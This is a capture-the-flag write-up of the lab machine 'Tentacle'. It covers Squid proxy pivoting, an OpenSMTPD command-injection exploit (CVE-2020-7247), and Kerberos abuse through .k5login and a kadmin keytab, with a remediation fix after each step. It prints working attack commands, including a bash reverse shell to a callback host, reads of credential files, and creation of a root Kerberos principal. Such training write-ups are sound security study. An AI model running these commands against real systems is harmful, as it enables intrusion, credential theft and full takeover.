Tentacle
Summary
Recon against the target <retired-instance-ip> (Squid 4.11 proxy on 3128) leaked the internal domain realcorp.htb and cache-admin address j.nakazawa@realcorp.htb via Squid's default error page and X-Squid-Error headers. BIND 9.11.20 on port 53 confirmed DNS, and Squid was reachable unauthenticated from the local/proxy-adjacent source, allowing proxy-chaining (<retired-instance-ip>:3128 → localhost:3128 → <retired-instance-ip>:3128, the internal proxy.realcorp.htb) to pivot into the internal network. Chained requests for http://$TARGET/wpad.dat returned a PAC file exposing internal subnets <retired-instance-ip>/24 and <retired-instance-ip>/24. DNS enumeration (SOA/NS/A lookups, since zone transfer was refused) and a reverse-DNS/host sweep of <retired-instance-ip>/24 identified srvpod01 (<retired-instance-ip>) running OpenSMTPD, vulnerable to CVE-2020-7247 (unauthenticated MAIL FROM command injection RCE).
The exploit (adapted from Exploit-DB #48038 / Metasploit exploit/unix/smtp/opensmtpd_mail_from_rce) was fired through the proxy chain using a valid recipient (j.nakazawa@realcorp.htb), and confirmed blind via an ICMP callback before staging a shell — landing as root on srvpod01. From there, /home/j.nakazawa/.msmtprc leaked j.nakazawa's cleartext SMTP/domain password. SSH password auth to srv01.realcorp.htb was disabled, so the password was [REDACTED: recovered credential] used with MIT Kerberos (kinit j.nakazawa@REALCORP.HTB against KDC srv01.realcorp.htb, realm REALCORP.HTB, clock skew corrected with faketime) to obtain a TGT and ssh -K (GSSAPI) in as j.nakazawa — capturing user.txt.
Privilege escalation exploited a cron race: /etc/crontab ran admin's /usr/local/bin/log_backup.sh every minute via rsync from /var/log/squid/. Because j.nakazawa is a member of the squid group, a .k5login file (j.nakazawa@REALCORP.HTB) was written into /var/log/squid/, and after the cron fired, ssh -K authenticated directly as admin. As admin, /etc/krb5.keytab (group-admin-readable) contained a kadmin/admin@REALCORP.HTB principal; kadmin -kt /etc/krb5.keytab -p kadmin/admin -q "add_principal -pw <pw> root@REALCORP.HTB" created a root principal, and ksu with that password/ticket dropped a root shell, yielding root.txt.
Attack path — how the box was taken
Exact commands 1
nmap -Pn -sV -sC -p22,53,88,3128 $TARGETExact commands 1
curl -s http://$TARGET:3128/nonexistent 2>&1 | grep -iE 'realcorp|admin|@'FixSuppress sensitive information from Squid error pagesMedium
Exact commands 2
cat > /tmp/pc-tentacle.conf <<'EOF'
dynamic_chain
proxy_dns
[ProxyList]
http $TARGET 3128
http localhost 3128
http $INTERNAL_TARGET 3128
EOFproxychains4 -f /tmp/pc-tentacle.conf curl -s http://$TARGET/wpad.datFixRestrict Squid ACLs so external clients cannot reach internal hosts via proxy chainingCritical
Exact commands 2
for i in $(seq 1 254); do r=$(dig +short -x 10.241.251.$i @$TARGET 2>/dev/null); [ -n "$r" ] && echo "10.241.251.$i -> $r"; doneproxychains4 -f /tmp/pc-tentacle.conf nc -nv $INTERNAL_TARGET 25Exact commands 4
searchsploit opensmtpdnc -lvnp 4444 &tcpdump -ni tun0 icmp &proxychains4 -f /tmp/pc-tentacle.conf python3 48038.py $INTERNAL_TARGET 25 j.nakazawa@realcorp.htb 'bash -c "bash -i >& /dev/tcp/$CALLBACK_HOST/4444 0>&1"'FixPatch OpenSMTPD immediately to close the unauthenticated RCE (CVE-2020-7247)Critical
Exact commands 5
cat /home/j.nakazawa/.msmtprccat > /tmp/krb5-tentacle.conf <<'EOF'
[libdefaults]
default_realm = REALCORP.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
[realms]
REALCORP.HTB = {
kdc = srv01.realcorp.htb
admin_server = srv01.realcorp.htb
}
[domain_realm]
.realcorp.htb = REALCORP.HTB
realcorp.htb = REALCORP.HTB
EOFKRB5_CONFIG=/tmp/krb5-tentacle.conf faketime -f '-79797s' kinit j.nakazawa@REALCORP.HTBKRB5_CONFIG=/tmp/krb5-tentacle.conf KRB5CCNAME=FILE:/tmp/jnak.ccache faketime -f '-79797s' ssh -K -o GSSAPIAuthentication=yes -o PreferredAuthentications=gssapi-with-mic j.nakazawa@srv01.realcorp.htbcat ~/user.txtFixRemove plaintext credentials from mail-client configuration filesHigh
Exact commands 4
cat /etc/crontab && cat /usr/local/bin/log_backup.shidecho 'j.nakazawa@REALCORP.HTB' > /var/log/squid/.k5loginKRB5_CONFIG=/tmp/krb5-tentacle.conf KRB5CCNAME=FILE:/tmp/jnak.ccache faketime -f '-79797s' ssh -K -o GSSAPIAuthentication=yes -o PreferredAuthentications=gssapi-with-mic admin@srv01.realcorp.htbFixPrevent cron jobs from copying user-controlled files into privileged home directoriesHigh
Exact commands 5
klist -kt /etc/krb5.keytabkadmin -kt /etc/krb5.keytab -p kadmin/admin -q "add_principal -pw P@ssw0rd123 root@REALCORP.HTB"KRB5_CONFIG=/tmp/krb5-tentacle.conf faketime -f '-79797s' kinit root@REALCORP.HTBKRB5CCNAME=FILE:/tmp/root.ccache ksu root -e /usr/bin/idKRB5CCNAME=FILE:/tmp/root.ccache ksu root -e /usr/bin/cat /root/root.txtFixRestrict the Kerberos keytab to root-only access and remove the kadmin/admin principal from itCritical
Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, I overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
SSH Private Key / Credential TheftCredential Access · [REDACTED: recovered credential] MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Findings
Exposed services
| 22/tcp | ssh OpenSSH 8.0 (protocol 2.0) |
| 53/tcp | domain ISC BIND 9.11.20 (RedHat Enterprise Linux 8) |
| 88/tcp | kerberos-sec MIT Kerberos (server time: 2026-07-11 22:00:47Z) |
| 3128/tcp | http-proxy Squid http proxy 4.11 |